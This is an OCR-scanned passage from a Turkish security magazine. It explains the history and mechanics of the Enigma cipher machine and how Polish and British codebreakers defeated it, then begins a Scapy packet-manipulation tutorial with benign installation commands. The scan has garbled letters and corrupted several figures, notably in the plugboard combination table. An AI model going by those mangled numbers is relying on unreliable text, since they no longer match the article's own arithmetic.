yildizi. Onun hikadyesi Hollywood ‘un bir¢ok filmine konu oldu. Onu hepimiz ikinci diinya savasi
sirasinda Nazi ordusunun kullandigr Enigma sifreleme cihazi adiyla taniyoruz. Enigma kendisinden

sonra gelistirilen bircok sifreleme cihazina da ilham oldu. Kriptoloji bilimine merak sarmus bircok

gencin sebebidir Enigma.

@
Ikinci Diinya Savast bittiginde Alman Ordusunun elinde yiiz bin

kadar Enigma cihazi vardi. Bir zamanlar tiim istihbarat birimle-

rinin bir tane ele gegirmek i¢in 6limiine fedakarliklar' yaptigs,
tinldi kriptoanalistlerin ¢6zmek i¢in yillar harcadigi Enigma cihazini
artik miizelerde géormek miimkiin. Internette adina agilmis birgok
site bulabilir, bu sitelerden yeniden yapim kopya bir Enigma ma-
kinesi satin alabilirsiniz. Satin almak demisken eskicilerde gordii-
guniiz daktilolara dikkatle bakiniz. Bir tanesi 45* bin EURO eden
miizelik bir Enigma cihazi olabilir.

50L ROTOR
{1

Fis PANOSU

*Ug Rotorlu Enigma Cihazi
1 http://www.wikizeroo.net/index.php?q=aHROcHM6Ly91bi53aWtpcGVkaWEub3JnL3dpa2kvR2VybWFuX3N1Ym1hecmluZVOVLTU10Q

2 https://tr.euronews.com/2017/07/12/enigma-makinasi-rekor-fiyata-satildi




Bayram Gok — II. Diinya Savasi'nin Kriptoloji Cephesi ARKA KAPI

& O Rijmenants 2006

1 Akl

o

4 Duragan Rotor
5 Rotor
+/| 6 Reflektor

8 Yama kablosu

——' Acik metin =A
Sifreli Metin =D

@ 0. Rijmenants 2006

Kisa bir tarihce

Enigma makinesi Dr. Arthur Scherbius tarafindan 23 $ubat
1918 tarihinde patenti alinarak iiretilmeye baslandu. Ilk model
yaklagik 50 kg agirliginda ve olduke¢a hantaldi. Yunanca “bil-
mece” anlamina gelen Enigma markasiyla pazarlanan cihazin
ilerleyen zamanlarda tahta kutusunda daktiloya benzeyen ve
pille ¢alisan yaklagik 12 kg agirliginda taginabilir askeri amagl
modelleri gelistirildi.

Ticari amaglar i¢in tasarlanan Enigma Alman Ordusu’nun ilgi
gostermesine kadar istenen satig basarisini gosteremedi. 1926
yilinda Alman Deniz Kuvvetleri (Reichmarine) kendisi i¢in
o0zel olarak uyarlanmig Funkschliissel C modelini kullanmaya
basladi. 1928 yilinda Alman Ordusu (Reichswehr) i¢in tasar-
lanan Enigma G modeli baz iyilestirmelerden sonra Enigma

Enigma Cihazi elektro-mekanik semasi 1

2 Tus elektrik anahtari ( A basilmis)
3 Fig Panosu (Yama kablosu yok)

Ll 7 Fis Panosu (Yama kablosu var S <-> D)

9 Lamba Panosu ( D lambasi yaniyor )

Enigma Cihaz1 elektro-
mekanik semasi 2

I adiyla 1930 yilindan sonra tiim Alman askeri birimleri ve
diger devlet kurumlar: tarafindan yaygin olarak kullanilma-
ya baglandi. Enigma I modelinde yapilan en 6nemli degisiklik
sifreleme giiciindi arttiran, harfleri degistirmeye yarayan fis
panelinin eklenmesiydi. Enigma cihazinin degisik modelleri
Italya, Ispanya ve Isvicre tarafindan ¢esitli amaglarla kullanil-
dilar. Hatta savas1 kazanan miittefikler ele gegirdikleri Enigma
cihazlarini, bu cihazlar giivenli kabul eden gelismekte olan
tilkelere sattilar.

Enigma nasil calisir?

Anlamamiza yardimci olmast i¢in Alberti diski Sezar sifresi-
nin, Vigenere sifresi ise Alberti Diskinin, Enigma sifresi ise
Vigenere sifresinin gelismis devamidirlar, diye distinebiliriz.
Her biri bir 6nceki yontemin eksikligini gidermek tizere gelis-
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tirilmislerdir. Sezar sifresi tek anahtar (harf kaydirma) ile yeti-  Tablo 1 Fis panosu yama kablosu birlesim adedi

nirken, Alberti Diskinde birden ¢ok anahtar (harf kaydirma) Kabl Birlesimler(kombi |
kullanilabiliyordu. Vigenere sifresinde ise segilen bir anahtar ablo(n) irlesimler(kombinasyonlar)
kelime yardimu ile her harfi farkli bir Sezar sifresi (farkli farkli o 1
harf kaydirma) kullanarak sifrelemek miimkiin oluyordu. Her

.. . . . 1 325
yontemde anahtar mekanizmasi biraz da karmagik hale geti-
rilmigti. Enigma bu serinin en mitkemmeli ve sonuncusudur. 2 44.850
Enigmanin en belirgin farki her harf sifrelendiginde sonraki 3 3.453.450
sifrelenecek harf i¢in kullanilacak anahtar kelimeyi de otoma-
tik olarak degistirmesidir. Yontem pratikte sinirsiza yakin bir 4 L2 U278
anahtar kullanimina imkéani veriyordu. Bu ylizden sifrelenmis 5.019.589.575
metin icinde Vigenere sifresi gibi anahtara bagl tekrarlanan
harf dizleri bulmak neredeyse imkéansizidir. Sifreyi ¢ozmek  © 100.391.791.500
i¢in ilk anahtarin bilinmesi veya bulunmasi gerekmektedir. - 1.305.093.290.000
Enigm.a bir"batarya il-e calisan elek.tromeke.mik bir cihazd1r: 8 107¢7 6161640/000
Modeline gore mekanik farkliliklar icermesine ragmen hepsi
ayn1 temel prensip ve sasi iizerinde ¢alisir. Cihazin pargalarini 9 53.835.098.190.000
inceleyelim. 10* 150.738.274.900.000
Klayve 11 205.552.193.100.000
Enigma 26 harfli QWERTY klavye ile donatilmigtir. Tahmi-
nen Mors kodu ile uyumlu olmasini istemislerdi. Her tus hem 12 102.776.096.500.000
?lektrik d-e\{resivnde bir anahtz.irla hem de rot'o.rlag.n fldlm adn.n 53 + 905.853.580.550
ilerlemesini saglayan mekanik bir pedalla iligkilidir. Elektrik
anahtar1 dogrudan fis panosundaki harf girisine ve lamba pa-  Toplam 532.985.208.200.000

nosuna baghdir. Sifreleme isleminde bir fonksiyonu yoktur,

veri girisi amaglidir. PO eeeees,
L/

Fis Panosu

Sifreleme islemin basladig1 boliimdiir. Bu modelde 6nceki mo-
dellerde olmayan ilave giivenlik saglayan harf degisim panosu
bulunmaktadir. Pano tizerinde 26 harften her birisini temsil
eden fis girisleri vardir. Harflerin hem klavye tizerinde hem
de lamba paneli tizerinde kargilikli yer degistirmelerine imkan
verir. Gorsel 4de goriilecegi gibi A ve M harfleri arasina taki-
lan bir yama kablosu araciligi ile A ve M harfleri yer degistir-
mistir. Artik A harfine bastigimizda M; M harfine bastigimiz
da A harfi gibi davranacaktir. Yani A->M, M->A olur. Eger fis
girisine gorselde goriilen harf degistirme kablosu takilmaz ise
harf kendisi gibi davranir. Yani A=A ; M=M olur. Kullanilacak
yama kablosu adedine gore birlesim adetleri tabloda verilmis-
tir. Alman Ordusu genellikle 10 yama kablosu kullanirdr. Bu  jg panosu
yaklagik 48 bit demektir. Hava kuvvetleri fis panosuna takilan

UHR(saat) eklentisi kullaniyordu. UHR eklentisi tizerindeki
dondiiriilebilir bir anahtar yardimiyla 6nceden ayarlanmig

birlesimleri kolayca degistirebiliyorlardi.
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Duragan Rotor

Duragan Rotor fis panosundan gelen kablolarin hareketli ro-
tor tizerindeki pimler ile temasini saglayan iletken yiizeylere
sahiptir. Sifreleme islemine bir etkisi yoktur.

Siyah yuvarlak parca Duragan Rotor, giimiis renkli 3 adet par-
¢a ise Mandallar

Rotor

Enigma cihazinin kalbi, en karmasik pargasi, kolayca ¢ikarilip
degistirilebilen, bir eksen iizerinde belirlenen sifreleme anah-
tarina gore degisik siralamada yan yana dizilerek takilabilen
rotorlaridir. Rotorlarin sag yiiziinde kendinden 6nceki roto-
run iletken yiizeyleri ile temas eden pimler ve sol yiiziinde
ise bu pimler ile iletken kablolar vasitasiyla ¢apraz baglanmis
kendinden sonraki rotora sinyali aktaran iletken yiizeyler var-
dir. Alman ordu birimleri ¢apraz baglantilar1 farklilastirilmig
ve Romen rakamlari ile numaralanmus gesitli rotorlar kullan-
muglardir.

Alman Ordu ve Hava Kuvvetleri Enigma cihazinm I, II ve III
olarak numaralandirmig 3 rotor ile beraber kullaniliyordu.
1938 yilinda rotorlarin sayisi1 IV ve V numarali rotorlar ekle-
nerek 5¢ cikarildi. Sifreleme esnasinda bu 5 rotordan 3 tanesi
secilerek kullaniliyordu. 5 rotordan 3’tinti se¢mek 5x4x3=60
birlesim (kombinasyon) verir.

Almanlar 1. Diinya Savasrnda yaptiklari gibi yine denizaltilar1
ile Ingiltere’yi abluka altina almaya calisiyorlardi. Bu yiizden
deniz kuvvetlerinin haberlesmesine 6zel 6nem veriliyordu.
1942 yilinin subat ayinda deniz kuvvetleri i¢in Enigma maki-
nesi 6zel olarak degistirildi ve M4 olarak kodland1. Reflektor
daha ince bir yapiya kavusturulup, reflektor ile en soldaki ro-
tor arasina inceltilmis 4. rotor takilabilir hale getirilmisti. Bu
ek rotorun Beta ve Gama olarak adlandirilmus iki ¢esidi vardir.
Dérdiincii rotor diger ii¢ rotordan farkli olarak otomatik iler-
lemiyor, elle ayarlanarak 26 konumdan birisine sabitleniyor-
du. Deniz kuvvetleri baglangicta ilk {i¢ rotor yuvast i¢in 6 adet

rotor kullaniyordu. Sonradan VII ve VIII numarali rotorlar
eklendi.

Tiim rotorlarin sag ytiziinde 26 adet, sol yiiziinde ise 1 adet
ozel ¢entik vardir. Rotorlar eksen iizerinde birlestirilip yuvala-
rina yerlestirilince bir rotorun sag yiizii diger rotorun sol yii-
ziine yapisir. Gorsel 5 ‘te goriildiigii tizere rotorlarin birlesme
¢izgisini ortalayan, ucu tirnakli, tus mekanigine bagl ¢ adet
mandal vardir. Herhangi bir tusa basildiginda esgtidiimlii ola-
rak ic mandalda yukariya dogru ytikselir. Yitkselme hareketi
ile en sagdaki mandalin ucu en sagdaki rotorun sagindaki 26
centikten birisine takilir ve rotoru bir adim ilerletir. Ortadaki
mandalin ucu yiikselme hareketi esnasinda orta rotorun sa-
gindaki 26 centikten birisi ve sagdaki rotorun solundaki tek
centik ile hizaliysa; iki ¢entigin olusturdugu yuvaya diiser ve
iki rotoru kilitler. Kilitlenen iki rotor beraber bir adim ilerler.
Sagdaki rotorun solunda tek ¢entik oldugu i¢in bu kilitlenme
sagdaki rotorun her 26 adimdan sonra bir tur dénmesinden
sonra bir defa gerceklesir. Basitce ifade edersek ortadaki ro-
torun bir tur donmesi i¢in sagdaki rotorun 26 tur donmesi
gerekmektedir. Ugiincii mandal, ortadaki rotor ve en soldaki
rotor arasinda da ayni mekanik iliski vardir. M4 modelinde
4.rotor i¢in bir mandal yoktur ve bu mekanizmaya bagli olma-
digindan sabit durur. Rotorlarin tekrar baslangi¢c konumlarina
doénmeleri i¢in 26x26x26=17576 defa bir tusa basmak gerek-
mektedir. Bu 17 bin 576 birlesim (kombinasyon) eder. Adim
adim ilerleme hareketi temas eden iletken pim ve yiizeyleri
degistirdiginden sifreleme anahtar1 da siirekli degisir. Eger
arka arkaya 17 bin 576 defa “A” harfine basmus olsa idik ancak
tekrarlayan bir harf dizisine rastlayabilirdik. Link tizerinden
mekanizmanin videosunu izleyebilirsiniz.?

Deniz kuvvetlerinde kullanilan VI, VII ve VIII numaral ro-
torlarin digerlerinden farkli olarak sol yiiziinde 2 adet ¢entik
vardir. Normal rotorlar her turda solundaki rotoru bir adim
ilerletirken VI, VII ve VIII numarali rotorlar her turda sahip
olduklari 2 ¢entik ytiziinden solundaki rotoru 2 adim ilerletir.

[k iiretilen rotorlarda harf halkasi ve iletken pim/yiizey iliski-
si sabitlenmigstir. Sonradan sifreleme islemini daha karmagik
héle getirmek i¢in harf halkalar1 rotor tizerinde dondirebilir
héle getirildi. Halka dondiiriildiikten sonra kiigiik bir kilit ile
sabitleniyordu. Bu basit degisiklik pim/yiizey baglantilar1 ve
harf iligkisi degisken rotorlara izin verdi. En soldaki rotorun
solunda rotor olmadigindan sadece orta ve sagdaki rotorun
halka ayar1 sifrelemeyi etkileyecektir. Her halka 26 degisik
konuma ayarlanabildiginden 26x26=676 birlesim (kombinas-
yon) verir.

3 https://www.youtube.com/watch?v=hcVhQeZ5gI4




Halka ayar1 A konumunda iken pim/yiizey baglantis1 soyle
olsun:

ABCDEFGHIJKLMNOPQRSTUVWXYZ
EKMFLGDQVZNTOWYHXUSPAIBRC]

Eger halka ayar1 B konumuna getirilirse pim/yiizey baglantisi
soOyle olur:

ZABCDEFGHIJKLMNOPQRSTUVWXY

EKMFLGDQVZNTOWYHXUSPAIBRC]

Rotorlarin yan yiizeyleri, pimler ve ¢entikler

Rotorlarin i¢yapilari, pimler ve yiizeyleri ¢apraz baglayan kab-
lolar, harf halkas:

Harf halkas: kilidi (http://www.cryptomuseum.com/crypto/
enigma/working.htm)
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Reflektor

Reflektor rotorlardan gegerek sifrelenmis mesaji capraz bag-
lanmis geri doniis pimleri {izerinden tekrar son rotora geri
yollar. Reflektore ulasan sifrelenmis sinyal capraz baglanmis
pimden tekrar son rotora geri gonderilir. Sinyal tiim rotorlar:
yeniden kat ederek tekrar sifrelenmis olur. Reflektoriin Ordu
istihbarati (Abwehr), Deniz Kuvvetleri icin 6zellestirilmis ce-
sitleri tiretildi. Reflektoriin ¢apraz baglanmis pimleri sifreleme
isleminde etkindir.

Reflektor

Lamba paneli

Sifrelenmis harfi bir lamba yakilarak operatore bildirilen ¢ikt
aygitidir. Operator sifrelenmis mesaji telgraf veya telsiz iize-
rinden Mors alfabesi ile veya yazili olarak kurye ile gonderir.
Klavye gibi fis panosuna baglidir. Fig panosunda yapilan harf
degistirme islemi lamba paneli i¢inde gecerli olur.

Lamba Paneli

Ozetlersek Enigma olduk¢a karmagik bir cihazdir. Sonradan
cihazi giiglendirmek i¢in yapilan gelistirmeler cihazi daha bir
karmagik hale getirmistir. Fis paneli, rotor, halka ayarinin ver-
digi birlesimlerin miktarini hesaplarsak 150.738.274.900.000
x 17576 x 676 = 1.643.946.528.435.893.248 rakamina ulagiriz.

Kullanimi

Enigma cift yonlii ¢aligabilen bir cihazdir. $6yle agiklayalim:
Ornegin Enigma cihaz1 ayarlanip T harfine basildiginda G
lambasinin yandig: goriilecektir. Bu T harfinin G harfi olarak
sifrelendigi anlamina gelmektedir. Yine cihazin ayn1 ayarinda
G harfine basildiginda lamba panelinde T harfinin yanacag:
da goriilecektir. Diger bir ifade ile Enigma cihazi bir metni sif-
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releyebildigi gibi sifrelenmis metni de desifre etme yetenegine
sahiptir. Desifre islemi icin ayr1 bir cihaza gerek yoktur.

Operatorler her gece yaris1 Enigma cihazinin parametreleri-
ni 6nceden dagitilan bir kod kitap¢igina gore ayarlarlar ve bu
ayar tam bir giin gecerli olurdu. O giin i¢in belirlenen rotorlar
secilir, harf halkas1 ayarlanir ve belirlenen sira ile yuvalarina
yerlestirilir. Yine kod kitap¢igina gore fis panosundan belirle-
nen harf degistirme ayarlar1 yapilir. Sonra mesaj anahtari olus-
turma islemine gecilirdi. Naziler belirli bir mesaj anahtari ile
glin boyu gonderilecek on binlerce mesajin sifrenin kirilmasi
igin gereken istatiksel veriyi saglayacagini distindiiklerin-
den her operatériin kendi mesaj anahtarini belirleyebilecegi
bir prosediir tasarladilar. 1940 yilina kadar uygulanan mesaj
anahtarini olusturma prosediirii s6yleydi.

Sifreleme islemi yapan operator
Kod kitapgigina gore Enigma cihazi ayarlar1 yapildiktan sonra:

a. Operator rastgele ii¢ harf secerdi. Ornegin RNF, buna ana
ayar (Grundstellung) deniyordu.

b. Sonra operatér soldan saga dogru sirasiyla rotorlar: elle
dondiirerek RNF konumuna getirirdi.

c. Operator yine rastgele {i¢ harf daha segerdi. Ornegin JRM,
buna mesaj anahtar1 deniyordu.

d. Sonra operator sirasiyla JRMJRM harflerini tuslar ve
lamba panelinden 6rnegin BKTRFQ harflerini not ederdi.
BKT harflerine sifreli mesaj ayar1 deniyordu.

e. Sonra operator rotorlar1 tekrar JRM harflerine ayarlar ve
mesaji sifrelemeye baslardi.

f. Mesaj sifreleme islemi bitince sifrelenmis metin bazi ek
bilgilerle (header) beraber belirli bir formatta kars: tarafa
iletilirdi.

Sifre cozme islemi yapan operator

Kars: taraftaki operator yine kod kitap¢igina gore rotorlari,

harf halkalarini ve fis panosunu giiniin parametrelerine gore

ayarlardi. Aldig1 mesaji ¢6zmek igin ek bilgileri (header) kul-
lanir ve sirasiyla su prosediirii takip ederdi.

Kod kitapgigina gore Enigma cihazi ayarlar1 yapildiktan sonra:

a. Rotorlar1 mesajla beraber ulagan (Grundstellung) RNFye
ayarlar.

b. Yine mesaj ek bilgilerinde bulunan sifreli mesaj ayar:
BKTRFQ ’y1 tuglardi.

c. Lamba panelinden JRMJRM mesaj anahtarini elde
ederdi.

d. Rotorlar1 mesaj anahtar1 JRM’ye ayarlarda.

e. Sifreli mesaji tuslar ve lamba panelinden ¢6ztilmiis metni
elde ederdi.

Kod kitap¢igindan bir sayfa

Aslinda Enigma cihazlarina verilen M1, M2, M3 ve M4 kodla-
rinin cihazlarin teknik 6zelliklerine degil sifreleme prosediir-
lerine atif oldugu soylenir.

Enigma efsanesi nasil yenildi?

Polonyalilarin siirekli tetikte olmalari i¢in tarihsel bir¢ok kétii
anilar1 vardi. Rusya ve Avrupanin ileri gelen iilkeleri arasin-
daki ezeli rekabetin ezileni her zaman Polonya olmustu. Top-
raklar stirekli isgale ugramisti. Miizisyen Chopin, 2. Nobel
Odiili‘ne sahip tek kadin Marie Curie bu iggaller yiiziinden
tilkerinden ayrilmak zorunda kalan iki tinlii Polonyalrdir. Bu
yiizden Polonyalilarin her zaman iyi bir haber alma servisleri
ve becerikli sifre kiricilar1 olmustur. fkinci Diinya Savasr’ndan
sonra hizla silahlanan Almanya’y: piir dikkat takip ediyorlardu.
Enigmay ilk ¢6zenler de onlar olmustur. Ticari Enigma zaten
biliniyordu. Sifresini Polonyalilar ve Ingilizler coktan ¢ozmiis-
lerdi. Ancak Almanlarin askeri Enigma’sinin Polonyalar1 sok
ettigi soylenir. En iyi matematikgilerini toplayip Varsova ya-
kinlarinda sifre kirma tissii Biuro Szyfrom’u kurdular. 1940
yilina kadar Almanlar sifreleme prosediirlerini birka¢ defa
degistirdiler. Polonya isgal edilinceye kadar Biuro Szyfrom
her prosediirii kirmayi bagardu. Iki gelisme de onlara ¢ok yar-
dimcr oldu. Ilki eski bir polis olan Alman Hans-Thilo Schmidt
kardesi vasitastyla is buldugu Alman askeri sifre merkezinden
Enigma kullanim kilavuzunu, anahtar listelerini ve ¢alistirma
yonergelerini calip Fransiz gizli servisine satti. Ancak Fransiz-
lar Enigmayi kirmayi basaramadilar. Fransizlar bunun tizerine
ellerindeki bilgileri Biuro Szyfrom’a verdiler. Ikinci geligme ise
Alman hiikiimetinin diplomatik bir Enigma cihazini siradan
bir kargo ile Varsovadaki biiytikel¢iligine gondermesi ile ol-
mustu. Polonyalilar bu firsatida degerlendirdiler. Paketi agip
Enigma cihazini iki giin boyunca incelediler, fotograflarini
cektiler. Sonra paketi hi¢ a¢ilmamis gibi elgilige ulastirdilar.
Almanlar higbir seyin farkina varmadilar. Hatta Polonyalilar
kendilerine 2 adet Enigma cihaz1 da yaptilar. Polonyalilarin




bu cihazlar: ticari Enigma satin alarak gelistirdikleri de akta-
riliyor. 15 Eyliil 1938 yilinda Almanlar sifreleme prosediiriinii
bir kez daha degistirdiler. Artik eski yontemlerle sifre ¢6zmek
yavas hale gelince Polonya Ordusu’nun istegi ile Ekim 1938de
Biuro Szyfrom da calisan Marian Rejewski ve arkadaglari
Enigma sifresini ¢6zmek i¢in tarihteki ilk kriptoanaliz ciha-
zin1 gelistirdiler. Yaptiklar1 cihazin adina “Kriptolojik Bomba”
dediler. Enigma kullanimi bahsinde anlatildiy {izere sifreli
mesaj ek bilgileri (header) kisminda sifreli mesaj ayar1 BKT
* da iletilirdi. 1 May1s 1940’a kadar kullanilan prosediirde ha-
talardan kaginmak amaciyla mesaj anahtar1 JRM arka arkaya
iki defa JRMJRM olarak sifrelenir ve BKTRFQ olarak iletilir-
di. Sifreyi ¢ozen operatér JRMJRM elde etmek i¢in ilk 6 harf
BKTRFQ tuslardi. Aslinda giivenlik olarak tasarlanan bu pro-
sediiriin kendisi glivenlik agigiydi. Anahtar iletimi sikintilar
ileride agik anahtar anlayiginin gelismesini saglayacaktir. Isgal
esnasinda tiim belgeler yok edildigi i¢in bu agigin nasil kiril-
dig1 ile ilgili detayli bilgiler yoktur. Ancak Enigma ayarlarinin
tam bir giin gecerli oldugunu aktarmistik.

Eger yeterli miktarda mesaj anahtari toplanirsa fis panosu ve
rotor bilgileri olmadan mesaj anahtarina erismek miimkiind.
Detayli bilgiyi bu linkten* okuyabilirsiniz. Marian Rejewski
tembel operatorlerin sectigi “AAATBBB”’CCC” gibi baslangi¢
pozisyonlarindan da faydalandi. I, II, IIT numarali rotorlarin
siralamasi 6 kombinasyon iretiyordu. Her bir kombinasyon
i¢in bir “Kriptolojik Bomba” iirettiler. Cihazin tamamlanma-
sindan bir ay kadar sonra eklenen IV ve V rotorlarin i¢ yapisini
cabucak 6grendilerse de 5 rotor 60 kombinasyon tiiretiyordu.
Daha fazla Kriptolojik Bomba gerekiyordu. Ancak bu kadar
Kriptolojik Bomba yapacak imkanlar1 yoktu. Polonyalilar yak-
lagik 7 y1l boyunca ikinci Diinya Savagrnin baslamasina kadar
Fransizlar’a ve Ingilizlere soylemeden Enigma sifrelerini ¢z-
diiler, Alman haberlesmesini dinlediler. Artik ellerindeki bil-
gileri Ingilizler ile paylagmalar1 gerektigini diigiindiiler ve iki
adet kopya Enigma cihaz1 dahil tim bilgileri Ingilizlere dev-
rettiler. Almanlarin Polonya’y1 isgalinden 6nce Biuro Szyfrom
tiim belgeleri ve yapilan Kriptolojik Bomba'lar1 imha ettiler.
Almanlar asla Enigmanin ¢6ztildiigiinii anlamadilar.

Polonyalilardan Enigma sifrelerini ¢6zme isini ve bazi Biuro
Szyfrom ¢alisanlarini devralan Ingilizler Londra yakinlarinda
Betchleyde bir iis kurdular. Alman U-Botlarrnn ablukasindan
kurtulmak icin 6zellikle M4’ti hedef aldilar. Ulkenin en iyi
matematikgilerini, santra¢ ustalarini , bulmaca meraklilarini
topladilar. Haril haril ¢alisan bu 8000 kisilik ekip dogrudan
donemin Bagbakani Churchille bagliydi. Betchleyde gizlilige
Oyle 6nem veriliyordu ki ¢6ziilen Enigma sifrelerinden elde
edilen bilgilerin kaynaginin kod ad: “Boniface” olan bir casus
oldugu soyleniyordu. Bu ekibin icinden Gordon Welchman ve
oOzellikle Alan Turing’in ismi 6ne ¢iktr. Turing Polonya Krip-
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tolojik Bomba'sindan ilham alarak kendiside bir kriptoanaliz
cihazi gelistirmeyi basardi.ingilizler de gelistirdikleri cihaza
belki de Polonyalilar’ onurlandirmak i¢in “Bombe” adini ver-
diler. Yaklagik 1 ton agirhigindaki bu cihaz ayni anda onlarca
Enigma cihazini simiile ediyordu. British Tabulating Machine
fabrikasi tarafindan tiretilen 2 adet Kriptolojik Bomba Mart
1940 yilinda ¢aligmaya bagladi. Bunlardan 200 adet trettiler.

Alan Turing, Enigma sifresini kirmak i¢in Marian Rejewski ve
arkadaglarindan daha farkl: bir yol izledi. Alan Turing otoma-
tik calisan bir makine ile her giin degisen Enigma sifrelerine
“bilinen a¢ik metin atagr” uygulad: ve basarili oldu. Mesajlar
igerinde gegen “derhal’, "hitler” vb. sik sik kullanilan kelime-
ler ve kodlar sifreli metin icinde taraniyordu. Daha basit bir
ifade ile denenen her anahtar sonucunda desifre metin igin-
de bu kelimelerden birisi varsa mesajin ¢6ziildiigiinii makine
anliyordu. Sonradan olasiliklar1 eleyen ve islemi hizlandiran
Welchman'in diyagonal tahtas: ile donatilan Turing Bombesi
mesajlar1 daha kisa siirede ¢6zmeye bagladi. Ingilizler 1942 y1-
linda 4 rotor ile donatilan M4 ‘G kirmak icin Amerikalilardan
yardim istediler. Amerikalilar da kendi Bombe'lerini gelistir-
diler.

Yetenekli mucit Dr. Arthur Scherbius icadi Enigmanin heye-
canli seriiveninde bize diisen Marian Rejewski ve Alan Turing
yaklagimlarinin hangisinin daha sanatsal oldugunu tartismak-
tir. Ug dahiye de selam olsun.

4. http://www.ams.org/publicoutreach/feature-column/fcarc-enigma
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Scapy ile
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Network

Programlama 1

rekli 6ntimiize ¢iksa da, gogu zaman bu paketleri bit-

bit bakacak derece detayli inceledigimizde yeni ke-
siflerimiz olabiliyor. Istedigimiz paketleri network iizerinden
dinleyebilmek, inceleyip istedigimiz bitlerinin detaylarini ko-
lay anlagilir sekilde gorebilmek i¢in Wireshark gibi program-
lar1 gorsel araytiz kisminda, tcpdump gibi komut satir1 aragla-
rint da terminal kullanici araytizleri arasinda kullanabiliyoruz.

q g tizerindeki paket yapilarinin basitlestirilmis hali sii-

Programlamaya ag tizerindeki bahsettigimiz kavramlar: dahil
etsek tizerinde denemeler yapabilmemiz, istedigimiz gibi de-
gisiklik yapabilmemiz veya ilgimizi ¢eken kisimlarini derinle-
mesine incelememiz ¢ok kolay olurdu. Hatta bir istek istedi-
gimiz gibi gitmiyorsa onunla alakali da 6nlemler alabilirdik.
Hatta dinledigimiz paketleri degistirip tekrar hat {izerine koy-
may1 bile miimkiin kilardi. Bunu bir de Python gibi bir dili
kullanarak ister komut satirindan etkilesimli olarak, istersek
de kodlar1 bir dosyaya yazip istedigimiz gibi paketleyebilsek
bir¢ok sorunun tespitinde kullanabilecegimiz bir formata ge-
tirebilirdik.

Scapy bu bahsettigimiz alanlar dahil olmak {izere, birgok pro-
tokolii ¢oziimleyip ayristirabilen, elle paket {iretmeyi miim-
kiin kilan, paket tizerindeki katmanlar1 sokiip yerine bagka
katmanlar koyabilmeyi ve ¢ok daha fazlasini saglayan bir pa-
ket manipiilasyon kiitiiphanesi.

Bu kadar kavramdan bahsetmisken, Scapy ile nmap, tracero-
ute, tcpdump gibi bir¢ok programin yaptig isleri ya tamamen
ya da biyiik ol¢iide yapabildigimizi atlamamak gerekiyor.
Ornegin; olugturdugumuz paketlerde farkli TTL degerleri be-
lirleyip belirli zaman agimu siirelerinden 6nce gelen cevaplara
gore traceroute fonksiyonlarina benzer islevler saglayabiliyo-
ruz.

Durum bdéyle olunca, Scapy ile yazilmis bircok farkl kiitiip-
hane de bulunuyor. Bunlarin arasinda Scapy ile HTTP istegi
yapacak kadar st seviyelere ¢ikan da Wi-Fi traffic injection
yapan da bulunuyor.

Siber gtivenlik alaninda kullanilan araglar istenen bir 6zelligi
saglamadiginda ya da istenen ise uygun ara¢ bulunmadiginda
Scapy ile bu eksiklerin tamamlanmasi genelde ¢ok kisa bir za-
man aliyor ve oldukea anlasilir-etkili sonuglar tiretiliyor.

Scapy, paketleri PCAP formatinda kaydedebiliyor. Hatta ken-
disi veya bagka programlar tarafindan kaydedilmis PCAP dos-
yalarimi okuyup onlar1 da kendi veri yapilarina aktarip oyna-
maya miimkiin hale getirebiliyor.

Paket olustururken veya paketler tizerindeki bitler degisti-
ginde gozden kagmasi veya yanlis yapilmasi miimkiin olan,
dogru yapilsa bile ugrastiric bir siire¢ olabilen checksum he-
saplamay1 da Scapy otomatik olarak gerceklestiriyor. Paketi
olustururken istenen alanlar1 tanimlamak kalani Scapynin
tamamlamasiyla ¢ogu zaman hicbir ek gerektirmeden ¢alisa-
biliyor.

Kurulum ve Kullanim

Scapyden bahsetmek, kullanim alanlari saymak ¢ok daha
uzun siirebilecegi icin, gerekli ilgiyi uyandirdigimizi umarak
ilerleyelim. Bu béliimde Scapy’nin sistem tizerine kurulmasin-
dan bahsedecegiz. Bunun i¢in Ubuntunun 16.04 siiriimii iize-
rinde calisacagiz. GNU/Linux sistemlerin terminallerinde sik
kullanilan bazi komutlarin 6n bilgisi kurulum ve kullanimda
isinizi kolaylagtirabilir. Son olarak, buradaki komutlar: uygu-
layabilmek i¢in bir internet baglantisina ihtiyaciniz olacaktir.

Kurulum sirasinda birgok bagimlilik ihtiyaci olusabildigi i¢in,
olabildigince karsilasabilecegimiz hatalar1 gorerek ilerlemeye
calisalim. Cok fazla hata mesaji ile muhatap olarak da olsa,
bu hatalarin nasil diizelecegini 6grene 6grene ilerleyecegiz. Bu
yiizden kurulum bitene kadar bilingli olarak bazi komutlar:
hatal1 yazacak ve ne yapmamiz gerektiginden bahsetmeye ca-
lisacagiz.

Python 3 kullanarak Scapy kurulumu yapacagiz. Paket kuru-
lumlar i¢in pip'ten faydalanacagiz. Ayrica sistem geneline bu
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kurulumu yapmak istemedigimiz i¢in de sanal ortam kurarak
(virtualenv) paket kurulumlarimi olabildigince bu ortamin
igerisine yapacagiz. Bu sekilde ilerlemenin bagka bir artis1 ise
iki farkli Scapy siiriimiinti farkli sanal ortamlarda deneme
sans1 bulacak ve sadece galistigimiz projeye 6zel bagimliliklar:
kolayca sorgulayabilecegimiz bir ortam olusturacagiz. Sanal
ortam ve ¢alisacagimiz dosyalar ev dizinimiz altinda olustu-
racagimiz workshop isimli dizin olacaktir. Olusturup, pip ve
virtualenv de kurarak ilerleyelim:
sudo
sudo
pip3
pip3

apt update

apt install python3-pip
install virtualenv
install --upgrade pip

mkdir workshop
cd workshop

Komutlar sirastyla Python3 igin pip kurulumu yaparak son-
rasinda virtual environment paketini pip kullanarak kurma ve
pip’in kendisinin giincellenmesi islerini yapiyor. Son olarak
da bahsettigimiz workshop isimli dizini olusturup agiyoruz.
Simdi de workshop igerisinde yeni bir sanal Python ortami
(virtual environment) olusturalim ve aktiflestirelim:

virtualenv -p python3 venv

source venv/bin/activate
Dogrulamak i¢cin komut satirinin baginda (venv) yazip yazma-
digina bakabilirsiniz. Bu ifade, olusturdugunuz ve kullandig:-
niz sanal ortamin ismiyle farkliysa hangi virtual environment
tizerinde ¢aligtiginizi bir kontrol etmekte fayda olacaktir:

which pip # /home/S$USER/workshop/venv/bin/pip

Eger komutlar en bagtan itibaren ev dizininizde yazdiysaniz,
komutun ¢iktis1 yukarida verilene benzer sekilde olacaktir.
Sadece, $USER yerine sizin kullanici adiniz yazacaktir. Pipiin
projeye ozel virtual environment iizerinde oldugunu dogrula-
diktan sonra Scapy kurulumunu yapalim:

pip install scapy

